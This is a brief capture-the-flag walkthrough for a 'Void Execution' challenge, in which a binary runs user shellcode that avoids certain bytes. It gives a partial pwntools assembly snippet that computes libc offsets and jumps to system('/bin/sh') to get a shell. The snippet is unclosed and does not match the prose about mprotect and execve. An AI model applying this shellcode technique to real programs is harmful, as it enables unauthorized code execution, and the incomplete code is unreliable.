Void Execution Walkthrough

Challenge Statement#

Attachement: voidexec.zip

Solution#

Going through the files, we understand that the binary reads shellcode from the user and executes it.
The shellcode should not contain 0x15 or 0xCD 0x80.
We also find that the r13 register stores the address of the “main” function.

Now, we can write the shellcode to call mprotect function to change the memory region to read-execute and call the execve syscall.

sc = asm(f"""
sub rcx, {libc.sym.mprotect + 0x0b}
mov r12, rcx
add rcx, {libc.sym.system}
mov rdi, r12
add rdi, {next(libc.search(b'/bin/sh'))}
jmp rcx

Here’s the script I’ve used.

Adapted from harishkannan05/THM-HackfinityBattle-Writeup under MIT.